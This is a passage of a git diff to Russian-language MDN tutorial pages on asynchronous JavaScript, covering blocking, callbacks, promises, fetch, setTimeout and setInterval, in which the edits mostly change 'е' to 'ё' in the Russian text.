блокируя выполнение на данного блока на 3 секунды при каждом вызове. Все последующие вызовы вынуждены ждать пока разрешится предыдущий. Если вы запустите первый пример (<code>slow-async-await.html</code>) вы увидите alert сообщающий время выполнения около 9 секунд. </p> +<p>Здесь мы просто ждём все три <code>timeoutPromise()</code> напрямую, блокируя выполнение на данного блока на 3 секунды при каждом вызове. Все последующие вызовы вынуждены ждать пока разрешится предыдущий. Если вы запустите первый пример (<code>slow-async-await.html</code>) вы увидите alert сообщающий время выполнения около 9 секунд. </p> <p>Во втором <code>fast-async-await.html</code> примере, функция <code>timeTest()</code> выглядит как:</p> diff --git a/files/ru/learn/javascript/asynchronous/concepts/index.html b/files/ru/learn/javascript/asynchronous/concepts/index.html index def7da8a78..cd87899ec3 100644 --- a/files/ru/learn/javascript/asynchronous/concepts/index.html +++ b/files/ru/learn/javascript/asynchronous/concepts/index.html @@ -29,7 +29,7 @@ translation_of: Learn/JavaScript/Asynchronous/Concepts <h2 id="Что_же_такое_Асинхронность">Что же такое Асинхронность?</h2> -<p>Как правило, программный код выполняется последовательно, только одна конкретная операция происходит в данный момент времени. Если функция зависит от результата выполнения другой функции, то она должна дождаться пока нужная ей функция не завершит свою работу и не вернет результат и до тех пор пока это не произойдет, выполнение программы, по сути, будет остановлено с точки зрения пользователя.</p> +<p>Как правило, программный код выполняется последовательно, только одна конкретная операция происходит в данный момент времени. Если функция зависит от результата выполнения другой функции, то она должна дождаться пока нужная ей функция не завершит свою работу и не вернёт результат и до тех пор пока это не произойдёт, выполнение программы, по сути, будет остановлено с точки зрения пользователя.</p> <p>Пользователь современного ПК, наверняка, наблюдал, как курсор меняет свой вид и становится "разноцветным спинером" (у пользователей MacOS). Таким образом операционная система сообщает - "текущая программа, ожидает завершения какого то длительного процесса в системе и я решила сообщить тебе, что бы ты не волновался".</p> @@ -43,7 +43,7 @@ translation_of: Learn/JavaScript/Asynchronous/Concepts <p>Давайте рассмотрим несколько примеров, которые покажут, что именно значит <strong>блокировка</strong>.</p> -<p>В нашем <a href="https://github.com/mdn/learning-area/tree/master/javascript/asynchronous/introducing">simple-sync.html</a> примере (<a href="https://mdn.github.io/learning-area/javascript/asynchronous/introducing/simple-sync.html">see it running live</a>), добавим кнопке событие на клик, чтобы при нажатии на нее запускалась трудоемкая операция (расчет 10000000 дат, и вывод последней рассчитанной даты на консоль) после чего в DOM добавляется еще один параграф:</p> +<p>В нашем <a href="https://github.com/mdn/learning-area/tree/master/javascript/asynchronous/introducing">simple-sync.html</a> примере (<a href="https://mdn.github.io/learning-area/javascript/asynchronous/introducing/simple-sync.html">see it running live</a>), добавим кнопке событие на клик, чтобы при нажатии на неё запускалась трудоёмкая операция (расчёт 10000000 дат, и вывод последней рассчитанной даты на консоль) после чего в DOM добавляется ещё один параграф:</p> <pre class="brush: js notranslate">const btn = document.querySelector('button'); btn.addEventListener('click', () => { @@ -69,7 +69,7 @@ btn.addEventListener('click', () => { <p>В нашем следующем примере, <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/introducing/simple-sync-ui-blocking.html">simple-sync-ui-blocking.html</a> (<a href="https://mdn.github.io/learning-area/javascript/asynchronous/introducing/simple-sync-ui-blocking.html">посмотреть пример</a>), мы сделаем что-нибудь более реалистичное, с чем вы сможете столкнуться на реальной странице. Мы заблокируем действия пользователя отрисовкой страницы. В этом примере у нас две кнопки:</p> <ul> - <li>Кнопка "Fill canvas", если на нее кликнуть, рисует в элементе + <li>Кнопка "Fill canvas", если на неё кликнуть, рисует в элементе <div>{{htmlelement("canvas")}}</div> миллион синих кругов.</li> <li>Кнопка "Click me for alert", при нажатии показывает предупреждение.</li> @@ -90,10 +90,10 @@ alertBtn.addEventListener('click', () => alert('You clicked me!') );</pre> -<p>Если вы быстро нажмете на первую кнопку и затем быстро кликните на вторую, вы увидите, что предупреждение не появится на странице, пока все круги не будут отрисованы. Первая операция блокирует выполнение следующей до тех пор пока не завершится сама.</p> +<p>Если вы быстро нажмёте на первую кнопку и затем быстро кликните на вторую, вы увидите, что предупреждение не появится на странице, пока все круги не будут отрисованы. Первая операция блокирует выполнение следующей до тех пор пока не завершится сама.</p> <div class="blockIndicator note"> -<p><strong>Примечание</strong>: Хорошо, в приведенном некрасивом примере, мы получили эффект блокировки, который показывает общую проблему при разработке приложений, с которой все время приходится бороться разработчикам.</p> +<p><strong>Примечание</strong>: Хорошо, в приведённом некрасивом примере, мы получили эффект блокировки, который показывает общую проблему при разработке приложений, с которой все время приходится бороться разработчикам.</p> </div> <p>Почему так происходит? Потому что JavaScript, в общем случае, выполняет команды в <strong>одном потоке</strong>. Пришло время познакомиться с понятием <strong>потока</strong>.</p> @@ -117,7 +117,7 @@ Thread 2: Task C --> Task D</pre> <pre class="notranslate">Main thread: Render circles to canvas --> Display alert()</pre> -<p>В итоге, JavaScript получил несколько инструментов, которые могут помочь в решении подобных проблем. <a href="/en-US/docs/Web/API/Web_Workers_API">Web workers</a> позволяют вам обработать некоторый JavaScript код в отдельном потоке, который называется обработчик, таким образом вы можете запускать отдельные блоки JavaScript кода одновременно. В основном, вы будете использовать воркеры, чтобы запустить ресурсоемкий процесс, отдельно от основного потока, чтобы не блокировать действия пользователя.</p> +<p>В итоге, JavaScript получил несколько инструментов, которые могут помочь в решении подобных проблем. <a href="/en-US/docs/Web/API/Web_Workers_API">Web workers</a> позволяют вам обработать некоторый JavaScript код в отдельном потоке, который называется обработчик, таким образом вы можете запускать отдельные блоки JavaScript кода одновременно. В основном, вы будете использовать воркеры, чтобы запустить ресурсоёмкий процесс, отдельно от основного потока, чтобы не блокировать действия пользователя.</p> <pre class="notranslate"> Main thread: Task A --> Task C Worker thread: Expensive task B</pre> @@ -128,18 +128,18 @@ Worker thread: Expensive task B</pre> <p>Воркеры полезный инструмент, но у них есть свои ограничения. Самое существенное, заключается в том, что они не имеют доступа к {{Glossary("DOM")}} — вы не можете использовать воркер для обновления UI. Мы не можем отрисовать миллион наших точек внутри воркера; он может только обработать большой объем информации.</p> -<p>Следующая проблема заключается в том, что даже если код запущенный в воркере ничего не блокирует, он в целом остается синхронным. Это проблема появляется, когда какой-то функции требуются результаты выполнения нескольких предыдущих функций. Рассмотрим следующую диаграмму потоков:</p> +<p>Следующая проблема заключается в том, что даже если код запущенный в воркере ничего не блокирует, он в целом остаётся синхронным. Это проблема появляется, когда какой-то функции требуются результаты выполнения нескольких предыдущих функций. Рассмотрим следующую диаграмму потоков:</p> <pre class="notranslate">Main thread: Task A --> Task B</pre> -<p>В этом примере, предположим Task A делает что-то вроде получения картинки с сервера а Task B затем делает что-нибудь с полученной картинкой, например, применяет к ней фильтр. Если запустить выполняться Task A и тут же попытаться выполнить Task B, то вы получите ошибку, поскольку картинка еще не будет доступна.</p> +<p>В этом примере, предположим Task A делает что-то вроде получения картинки с сервера а Task B затем делает что-нибудь с полученной картинкой, например, применяет к ней фильтр. Если запустить выполняться Task A и тут же попытаться выполнить Task B, то вы получите ошибку, поскольку картинка ещё не будет доступна.</p> <pre class="notranslate"> Main thread: Task A --> Task B --> |Task D| Worker thread: Task C -----------> | |</pre> -<p>Теперь, давайте предположим, что Task D использует результат выполнения обеих задач Task B и Task C. Если мы уверенны, что оба результата будут доступны одновременно, тогда не возникнет проблем, однако, часто это не так. Если Task D попытаться запустить, когда какого-то нужного ей результата еще нет, выполнение закончится ошибкой.</p> +<p>Теперь, давайте предположим, что Task D использует результат выполнения обеих задач Task B и Task C. Если мы уверенны, что оба результата будут доступны одновременно, тогда не возникнет проблем, однако, часто это не так. Если Task D попытаться запустить, когда какого-то нужного ей результата ещё нет, выполнение закончится ошибкой.</p> -<p>Чтобы избежать подобных проблем, браузеры позволяют нам выполнять определенные операции асинхронно. Такие возможности, как <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise">Promises</a> позволяют запустить некоторую операцию (например, получение картинки с сервера), и затем подождать пока операция не вернет результат, перед тем как начать выполнение другой задачи:</p> +<p>Чтобы избежать подобных проблем, браузеры позволяют нам выполнять определённые операции асинхронно. Такие возможности, как <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise">Promises</a> позволяют запустить некоторую операцию (например, получение картинки с сервера), и затем подождать пока операция не вернёт результат, перед тем как начать выполнение другой задачи:</p> <pre class="notranslate">Main thread: Task A Task B Promise: |__async operation__|</pre> @@ -150,7 +150,7 @@ Worker thread: Task C -----------> | |</pre> <h2 id="Заключение">Заключение</h2> -<p>При проектировании современных программ все больше используется асинхронное программирование, чтобы программа имела возможность выполнять несколько операций в конкретный момент времени. Как только вы начнете использовать новые, более мощные возможности API, вы обнаружите множество ситуаций, где решить нужную задачу можно только асинхронно. Раньше было сложно писать асинхронный код. До сих пор, нужно время, чтобы привыкнуть к такому подходу, но процесс стал намного легче. Далее, в этом разделе, мы будем глубже исследовать вопрос, когда же асинхронный код необходим и как спроектировать программу, чтобы избежать проблем, описанных выше.</p> +<p>При проектировании современных программ все больше используется асинхронное программирование, чтобы программа имела возможность выполнять несколько операций в конкретный момент времени. Как только вы начнёте использовать новые, более мощные возможности API, вы обнаружите множество ситуаций, где решить нужную задачу можно только асинхронно. Раньше было сложно писать асинхронный код. До сих пор, нужно время, чтобы привыкнуть к такому подходу, но процесс стал намного легче. Далее, в этом разделе, мы будем глубже исследовать вопрос, когда же асинхронный код необходим и как спроектировать программу, чтобы избежать проблем, описанных выше.</p> <h2 id="В_этом_модуле">В этом модуле</h2> diff --git a/files/ru/learn/javascript/asynchronous/introducing/index.html b/files/ru/learn/javascript/asynchronous/introducing/index.html index 75cae85c11..731c40dfa7 100644 --- a/files/ru/learn/javascript/asynchronous/introducing/index.html +++ b/files/ru/learn/javascript/asynchronous/introducing/index.html @@ -84,13 +84,13 @@ btn.addEventListener('click', () => { let blob = response.blob(); // display your image blob in the UI somehow</pre> -<p>Это происходит потому что вы не знаете сколько времени займет загрузка картинки, следовательно, когда вы начнёте выполнять вторую строку кода, сгенерируется ошибка (возможно, периодически, возможно, каждый раз), потому что <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">response</span></font> еще не доступен. Вместо этого, ваш код должен дождаться возвращения <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">response</span></font> до того, как попытается выполнить дальнейшие инструкции.</p> +<p>Это происходит потому что вы не знаете сколько времени займёт загрузка картинки, следовательно, когда вы начнёте выполнять вторую строку кода, сгенерируется ошибка (возможно, периодически, возможно, каждый раз), потому что <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">response</span></font> ещё не доступен. Вместо этого, ваш код должен дождаться возвращения <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">response</span></font> до того, как попытается выполнить дальнейшие инструкции.</p> -<p>Есть два типа стиля асинхронного кода, с которыми вы столкнетесь в коде JavaScript, старый метод — callbacks (колбэки) и более новый — promise (промисы, обещания). В следующих разделах мы познакомимся с каждым из них. </p> +<p>Есть два типа стиля асинхронного кода, с которыми вы столкнётесь в коде JavaScript, старый метод — callbacks (колбэки) и более новый — promise (промисы, обещания). В следующих разделах мы познакомимся с каждым из них. </p> <h2 id="Асинхронные_колбэки">Асинхронные колбэки</h2> -<p>Асинхронные колбэки — это функции, которые определяются как аргументы при вызове функции, которая начнет выполнение кода на заднем фоне. Когда код на заднем фоне завершает свою работу, он вызывает колбэк-функцию, оповещающую, что работа сделана, либо оповещающую о трудностях в завершении работы. Обратные вызовы — немного устаревшая практика, но они все еще употребляются в некоторых старомодных, но часто используемых API.</p> +<p>Асинхронные колбэки — это функции, которые определяются как аргументы при вызове функции, которая начнёт выполнение кода на заднем фоне. Когда код на заднем фоне завершает свою работу, он вызывает колбэк-функцию, оповещающую, что работа сделана, либо оповещающую о трудностях в завершении работы. Обратные вызовы — немного устаревшая практика, но они все ещё употребляются в некоторых старомодных, но часто используемых API.</p> <p>Пример асинхронного колбэка вторым параметром {{domxref("EventTarget.addEventListener", "addEventListener()")}} (как мы видели выше):</p> @@ -104,9 +104,9 @@ let blob = response.blob(); <p>Первый параметр — тип обрабатываемого события, второй параметр — колбэк-функция, вызываемая при срабатывании события.</p> -<p>При передаче колбэк-функции как аргумента в другую функцию, мы передаем только ссылку на функцию как аргумент, следовательно колбэк-функция <strong>не</strong> выполняется мгновенно. Она вызывается асинхронно внутри тела, содержащего функцию. Эта функция должна выполнять колбэк-функцию в нужный момент.</p> +<p>При передаче колбэк-функции как аргумента в другую функцию, мы передаём только ссылку на функцию как аргумент, следовательно колбэк-функция <strong>не</strong> выполняется мгновенно. Она вызывается асинхронно внутри тела, содержащего функцию. Эта функция должна выполнять колбэк-функцию в нужный момент.</p> -<p>Вы можете написать свою собственную функцию, содержащую колбэк-функцию. Давайте взглянем на еще один пример, в котором происходит загрузка ресурсов через <a href="/en-US/docs/Web/API/XMLHttpRequest"><code>XMLHttpRequest</code> API</a> (<a href="https://mdn.github.io/learning-area/javascript/asynchronous/introducing/xhr-async-callback.html">запустите пример</a>, и <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/introducing/xhr-async-callback.html">посмотрите исходный код</a>):</p> +<p>Вы можете написать свою собственную функцию, содержащую колбэк-функцию. Давайте взглянем на ещё один пример, в котором происходит загрузка ресурсов через <a href="/en-US/docs/Web/API/XMLHttpRequest"><code>XMLHttpRequest</code> API</a> (<a href="https://mdn.github.io/learning-area/javascript/asynchronous/introducing/xhr-async-callback.html">запустите пример</a>, и <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/introducing/xhr-async-callback.html">посмотрите исходный код</a>):</p> <pre class="brush: js notranslate">function loadAsset(url, type, callback) { let xhr = new XMLHttpRequest(); @@ -130,7 +130,7 @@ function displayImage(blob) { loadAsset('coffee.jpg', 'blob', displayImage);</pre> -<p>Мы создали функцию <code>displayImage()</code>, которая представляет blob, переданный в нее, как объект URL, и создает картинку, в которой отображается URL, добавляя ее в элемент документа <code><body></code>. Однако, далее мы создаем функцию <code>loadAsset()</code>, которая принимает колбэк-функцию в качестве параметра, вместе с URL для получения данных и типом контента. Для получения данных из URL используется <code>XMLHttpRequest</code> (часто сокращается до аббревиатуры "XHR") , перед тем как передать ответ в колбэк-функцию для дальнейшей обработки. В этом случае колбэк-функция ждет, пока XHR закончит загрузку данных (используя обработчик события <code><a href="/en-US/docs/Web/API/XMLHttpRequestEventTarget/onload">onload</a></code>) перед отправкой данных в колбэк-функцию.</p> +<p>Мы создали функцию <code>displayImage()</code>, которая представляет blob, переданный в неё, как объект URL, и создаёт картинку, в которой отображается URL, добавляя её в элемент документа <code><body></code>. Однако, далее мы создаём функцию <code>loadAsset()</code>, которая принимает колбэк-функцию в качестве параметра, вместе с URL для получения данных и типом контента. Для получения данных из URL используется <code>XMLHttpRequest</code> (часто сокращается до аббревиатуры "XHR") , перед тем как передать ответ в колбэк-функцию для дальнейшей обработки. В этом случае колбэк-функция ждёт, пока XHR закончит загрузку данных (используя обработчик события <code><a href="/en-US/docs/Web/API/XMLHttpRequestEventTarget/onload">onload</a></code>) перед отправкой данных в колбэк-функцию.</p> <p>Колбэк-функции универсальны — они не только позволяют вам контролировать порядок, в котором запускаются функции и данные, передающиеся между ними, они также позволяют передавать данные различным функциям, в зависимости от обстоятельств. Вы можете выполнять различные действия с загруженным ответом, такие как <code>processJSON()</code>, <code>displayText()</code>, и другие.</p> @@ -163,7 +163,7 @@ gods.forEach(function (eachName, index){ <p>В примере видно, как <code>fetch()</code> принимает один параметр — URL ресурса, который нужно получить из сети, — и возвращает <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise">промис</a>. Промис или обещание — это объект, представляющий асинхронную операцию, выполненную удачно или неудачно. Он представляет собой как бы промежуточное состояние. По сути, это способ браузера сказать: "я обещаю вернуться к вам с ответом как можно скорее," отсюда и название "обещание."</p> -<p>Может понадобиться много времени, чтобы привыкнуть к данной концепции; это немного напоминает {{interwiki("wikipedia", "Кот Шрёдингера")}} в действии. Ни один из возможных результатов еще не произошел, поэтому операция fetch в настоящее время ожидает результата. Далее у нас есть три блока кода следующих сразу после <code>fetch()</code>:</p> +<p>Может понадобиться много времени, чтобы привыкнуть к данной концепции; это немного напоминает {{interwiki("wikipedia", "Кот Шрёдингера")}} в действии. Ни один из возможных результатов ещё не произошёл, поэтому операция fetch в настоящее время ожидает результата. Далее у нас есть три блока кода следующих сразу после <code>fetch()</code>:</p> <ul> <li>Два <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise/then">then()</a></code> блока. Оба включают в себя функцию обратного, которая запустится, если предыдущая операция закончилась успешно, и каждая колбэк-функция принимает на вход результат предыдущей успешно выполненной операции, таким образом вы можете выполнять операции последовательно. Каждый <code>.then()</code> блок возвращает новый promise, это значит что вы можете объединять в цепочки блоки <code>.then()</code>, таким образом можно выполнить несколько асинхронных операций по порядку, одну за другой.</li> @@ -212,9 +212,9 @@ fetch('coffee.jpg').then((response) => { console.log ('All done!');</pre> -<p>Браузер начнет выполнение кода, увидит первый консольный оператор <code>(Starting)</code> и выполнит его, а затем создаст переменную <code>image</code>.</p> +<p>Браузер начнёт выполнение кода, увидит первый консольный оператор <code>(Starting)</code> и выполнит его, а затем создаст переменную <code>image</code>.</p> -<p>Затем он переместится на следующую строку и начнет выполнять блок <code>fetch ()</code>, но, поскольку <code>fetch ()</code> выполняется асинхронно без блокировки, выполнение кода продолжается после кода, связанного с промисом, тем самым достигая окончательного оператора (<code>All done!</code>) и выводя его на консоль.</p> +<p>Затем он переместится на следующую строку и начнёт выполнять блок <code>fetch ()</code>, но, поскольку <code>fetch ()</code> выполняется асинхронно без блокировки, выполнение кода продолжается после кода, связанного с промисом, тем самым достигая окончательного оператора (<code>All done!</code>) и выводя его на консоль.</p> <p>Только после того, как блок <code>fetch ()</code> полностью завершит работу и доставит свой результат через блоки <code>.then ()</code>, мы наконец увидим второе сообщение <code>console.log ()</code> (<code>It worked ;)</code>). Таким образом, сообщения появились не в том порядке, который вы могли ожидать:</p> @@ -234,9 +234,9 @@ button.addEventListener('click', () => { console.log("all done");</pre> -<p>Этот пример очень схож с предыдущим в своем поведении — первое и третье сообщения <code>console.log ()</code> будут показаны немедленно, но второе будет заблокировано, пока кто-то не нажмет кнопку мыши. Предыдущий пример работает аналогичным образом, за исключением того, что в этом случае второе сообщение блокируется цепочкой промисов, получая ресурс, а затем отображая его на экране, а не щелчком мыши.</p> +<p>Этот пример очень схож с предыдущим в своём поведении — первое и третье сообщения <code>console.log ()</code> будут показаны немедленно, но второе будет заблокировано, пока кто-то не нажмёт кнопку мыши. Предыдущий пример работает аналогичным образом, за исключением того, что в этом случае второе сообщение блокируется цепочкой промисов, получая ресурс, а затем отображая его на экране, а не щелчком мыши.</p> -<p>В менее простом примере кода такая система может вызвать проблему — вы не можете включить блок асинхронного кода, который возвращает результат, на который вы потом будете полагаться в блоке синхронного кода. Вы просто не можете гарантировать, что асинхронная функция вернется до того, как браузер обработает синхронный блок.</p> +<p>В менее простом примере кода такая система может вызвать проблему — вы не можете включить блок асинхронного кода, который возвращает результат, на который вы потом будете полагаться в блоке синхронного кода. Вы просто не можете гарантировать, что асинхронная функция вернётся до того, как браузер обработает синхронный блок.</p> <p>Чтобы увидеть это в действии, попробуйте взять локальную копию нашего <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/introducing/async-sync.html">примера</a> и измените третий вызов <code>console.log ()</code> следующим образом:</p> @@ -246,7 +246,7 @@ console.log("all done");</pre> <pre class="notranslate"><span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body">TypeError: image is undefined; can't access its "src" property</span></span></span></pre> -<p>Это происходит потому, что в то же время браузер пытается запустить третий <code>console.log()</code>, блок <code>fetch()</code> еще не закончил выполнение, поэтому переменная <code>image</code> еще не имеет значения.</p> +<p>Это происходит потому, что в то же время браузер пытается запустить третий <code>console.log()</code>, блок <code>fetch()</code> ещё не закончил выполнение, поэтому переменная <code>image</code> ещё не имеет значения.</p> <div class="blockIndicator note"> <p><strong>Заметка</strong>: Из соображений безопасности вы не можете применять <code>fetch() </code> к файлам из вашей локальной системы (или запустить другие такие операции локально); чтобы запустить локально пример выше вам необходимо запустить его через <a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/Common_questions/set_up_a_local_testing_server">локальный веб-сервер</a>.</p> @@ -254,7 +254,7 @@ console.log("all done");</pre> <h2 id="Активное_обучение_сделайте_все_это_асинхронно!">Активное обучение: сделайте все это асинхронно!</h2> -<p>Чтобы исправить проблемный пример с <code>fetch()</code> и заставить все три сообщения <code>console.log()</code> появиться в желаемом порядке, вы можете также запустить третье сообщение <code>console.log()</code> асинхронно. Этого можно добиться, переместив его внутрь другого блока <code>.then()</code> присоединенного к концу второго, или просто переместив его внутрь второго блока <code>then()</code>. Попробуйте исправить это сейчас..</p> +<p>Чтобы исправить проблемный пример с <code>fetch()</code> и заставить все три сообщения <code>console.log()</code> появиться в желаемом порядке, вы можете также запустить третье сообщение <code>console.log()</code> асинхронно. Этого можно добиться, переместив его внутрь другого блока <code>.then()</code> присоединённого к концу второго, или просто переместив его внутрь второго блока <code>then()</code>. Попробуйте исправить это сейчас..</p> <div class="blockIndicator note"> <p><strong>Заметка</strong>: Если вы застряли, вы можете <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/introducing/async-sync-fixed.html">найти ответ здесь</a> (также можно посмотреть <a href="https://mdn.github.io/learning-area/javascript/asynchronous/introducing/async-sync-fixed.html">запущенный пример</a>). Также вы можете найти много информации о промисах в нашем гайде <a href="/en-US/docs/Learn/JavaScript/Asynchronous/Promises">Основные понятия асинхронного программирования</a> позднее в этом модуле.</p> diff --git a/files/ru/learn/javascript/asynchronous/timeouts_and_intervals/index.html b/files/ru/learn/javascript/asynchronous/timeouts_and_intervals/index.html index 7b8522a964..1db889130a 100644 --- a/files/ru/learn/javascript/asynchronous/timeouts_and_intervals/index.html +++ b/files/ru/learn/javascript/asynchronous/timeouts_and_intervals/index.html @@ -1,5 +1,5 @@ --- -title: 'Объединенный асинхронный JavaScript: Таймауты и интервалы' +title: 'Объединённый асинхронный JavaScript: Таймауты и интервалы' slug: Learn/JavaScript/Asynchronous/Timeouts_and_intervals translation_of: Learn/JavaScript/Asynchronous/Timeouts_and_intervals original_slug: Learn/JavaScript/Asynchronous/Таймауты_и_интервалы @@ -25,7 +25,7 @@ original_slug: Learn/JavaScript/Asynchronous/Таймауты_и_интерва <h2 id="Введение">Введение</h2> -<p>В течение долгого времени веб-платформа предлагала программистам JavaScript ряд функций, которые позволяли им асинхронно выполнять код по истечении определенного временного интервала и повторно выполнять асинхронный блок кода, пока вы не скажете ему остановиться.</p> +<p>В течение долгого времени веб-платформа предлагала программистам JavaScript ряд функций, которые позволяли им асинхронно выполнять код по истечении определённого временного интервала и повторно выполнять асинхронный блок кода, пока вы не скажете ему остановиться.</p> <p>Эти функции:</p> @@ -33,7 +33,7 @@ original_slug: Learn/JavaScript/Asynchronous/Таймауты_и_интерва <dt><code><a href="/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout">setTimeout()</a></code></dt> <dd>Выполняет указанный блок кода один раз по истечении указанного времени</dd> <dt><code><a href="/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setInterval">setInterval()</a></code></dt> - <dd>Выполняет указанный блок кода несколько раз с определенным интервалом между каждым вызовом.</dd> + <dd>Выполняет указанный блок кода несколько раз с определённым интервалом между каждым вызовом.</dd> <dt><code><a href="/en-US/docs/Web/API/window/requestAnimationFrame">requestAnimationFrame()</a></code></dt> <dd>Современная версия setInterval (). Выполняют указанный блок кода перед тем, как браузер в следующий раз перерисовывает отображение, позволяя запускать анимацию с подходящей частотой кадров независимо от среды, в которой она выполняется.</dd> </dl> @@ -41,23 +41,23 @@ original_slug: Learn/JavaScript/Asynchronous/Таймауты_и_интерва <p>Асинхронный код, установленный этими функциями, выполняется в основном потоке (по истечении указанного им таймера).</p> <div> -<p>Важно знать, что вы можете (и часто будете) запускать другой код до выполнения вызова setTimeout () или между итерациями setInterval (). В зависимости от того, насколько интенсивно используются эти операции для процессора, они могут еще больше задержать выполнение асинхронного кода, поскольку любой асинхронный код будет выполняться только после того, как станет доступен основной поток. (Другими словами, когда стек пуст.) Вы узнаете больше по этому вопросу по мере изучения этой статьи.</p> +<p>Важно знать, что вы можете (и часто будете) запускать другой код до выполнения вызова setTimeout () или между итерациями setInterval (). В зависимости от того, насколько интенсивно используются эти операции для процессора, они могут ещё больше задержать выполнение асинхронного кода, поскольку любой асинхронный код будет выполняться только после того, как станет доступен основной поток. (Другими словами, когда стек пуст.) Вы узнаете больше по этому вопросу по мере изучения этой статьи.</p> </div> <p>В любом случае эти функции используются для запуска постоянной анимации и другой фоновой обработки на веб-сайте или в приложении. В следующих разделах мы покажем вам, как их можно использовать.</p> <h2 id="setTimeout">setTimeout()</h2> -<p>Как мы ранее отметили, setTimeout () выполняет определенный блок кода один раз по истечении заданного времени. Принимает следующие параметры:</p> +<p>Как мы ранее отметили, setTimeout () выполняет определённый блок кода один раз по истечении заданного времени. Принимает следующие параметры:</p> <ul> - <li>Функция для запуска или ссылка на функцию, определенную в другом месте.</li> + <li>Функция для запуска или ссылка на функцию, определённую в другом месте.</li> <li>Число, представляющее интервал времени в миллисекундах (1000 миллисекунд равняется 1 секунде) ожидания перед выполнением кода. Если вы укажете значение 0 (или просто опустите значение), функция запустится как можно скорее. (См. Примечание ниже о том, почему он запускается «как можно скорее», а не «сразу».) Подробнее о том, почему вы, возможно, захотите сделать это позже.</li> - <li>Значений, представляющие любые параметры, которые вы хотите передать функции при ее запуске.</li> + <li>Значений, представляющие любые параметры, которые вы хотите передать функции при её запуске.</li> </ul> <div class="blockIndicator note"> -<p><strong>NOTE: </strong> Указанное время (или задержка) не является гарантированным временем выполнения, а скорее минимальным временем выполнения. Обратные вызовы, которые вы передаете этим функциям, не могут выполняться, пока стек в основном потоке не станет пустым.</p> +<p><strong>NOTE: </strong> Указанное время (или задержка) не является гарантированным временем выполнения, а скорее минимальным временем выполнения. Обратные вызовы, которые вы передаёте этим функциям, не могут выполняться, пока стек в основном потоке не станет пустым.</p> <p>Как следствие, такой код, как setTimeout (fn, 0), будет выполняться, как только стек будет пуст, а не сразу. Если вы выполните такой код, как setTimeout (fn, 0), но сразу после выполнения цикла, который насчитывает от 1 до 10 миллиардов, ваш колбэк будет выполнен через несколько секунд.</p> </div> @@ -68,14 +68,14 @@ original_slug: Learn/JavaScript/Asynchronous/Таймауты_и_интерва alert('Hello, Mr. Universe!'); }, 2000)</pre> -<p>Указанные вами функции не обязательно должны быть анонимными. Вы можете дать своей функции имя и даже определить ее где-нибудь еще и передать ссылку на функцию в setTimeout (). Следующие две версии фрагмента кода эквивалентны первой:</p> +<p>Указанные вами функции не обязательно должны быть анонимными. Вы можете дать своей функции имя и даже определить её где-нибудь ещё и передать ссылку на функцию в setTimeout (). Следующие две версии фрагмента кода эквивалентны первой:</p> <pre class="brush: js notranslate">// С именованной функцией let myGreeting = setTimeout(function sayHi() { alert('Hello, Mr. Universe!'); }, 2000) -// С функцией определенной отдельно +// С функцией определённой отдельно function sayHi() { alert('Hello Mr. Universe!'); } @@ -114,9 +114,9 @@ let myGreeting = setTimeout(sayHi, 2000);</pre> <p><code>setTimeout ()</code> отлично работает, когда вам нужно один раз запустить код по истечении заданного периода времени. Но что происходит, когда вам нужно запускать код снова и снова - например, в случае анимации?</p> -<p>Здесь пригодится <a href="/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setInterval">setInterval()</a> . Работает очень похоже на setTimeout (), за исключением того, что функция, которую вы передаете в качестве первого параметра, выполняется повторно не менее чем за количество миллисекунд, заданных вторым параметром. Вы также можете передать любые параметры, необходимые для выполняемой функции, в качестве последующих параметров вызова setInterval ().</p> +<p>Здесь пригодится <a href="/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setInterval">setInterval()</a> . Работает очень похоже на setTimeout (), за исключением того, что функция, которую вы передаёте в качестве первого параметра, выполняется повторно не менее чем за количество миллисекунд, заданных вторым параметром. Вы также можете передать любые параметры, необходимые для выполняемой функции, в качестве последующих параметров вызова setInterval ().</p> -<p>Давайте посмотрим на пример. Следующая функция создает новый объект <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Date">Date()</a></code>, с помощью <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/toLocaleTimeString">toLocaleTimeString()</a></code> извлекает из него строку с временем и отображает ее в пользовательском интерфейсе. Затем он запускает функцию один раз в секунду с помощью <code>setInterval()</code>, создавая эффект цифровых часов, которые обновляются раз в секунду (<a href="https://mdn.github.io/learning-area/javascript/asynchronous/loops-and-intervals/setinterval-clock.html"> реальный пример</a>, и <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/loops-and-intervals/setinterval-clock.html">исходный код</a>):</p> +<p>Давайте посмотрим на пример. Следующая функция создаёт новый объект <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Date">Date()</a></code>, с помощью <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/toLocaleTimeString">toLocaleTimeString()</a></code> извлекает из него строку с временем и отображает её в пользовательском интерфейсе. Затем он запускает функцию один раз в секунду с помощью <code>setInterval()</code>, создавая эффект цифровых часов, которые обновляются раз в секунду (<a href="https://mdn.github.io/learning-area/javascript/asynchronous/loops-and-intervals/setinterval-clock.html"> реальный пример</a>, и <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/loops-and-intervals/setinterval-clock.html">исходный код</a>):</p> <pre class="brush: js notranslate">function displayTime() { let date = new Date(); @@ -126,7 +126,7 @@ let 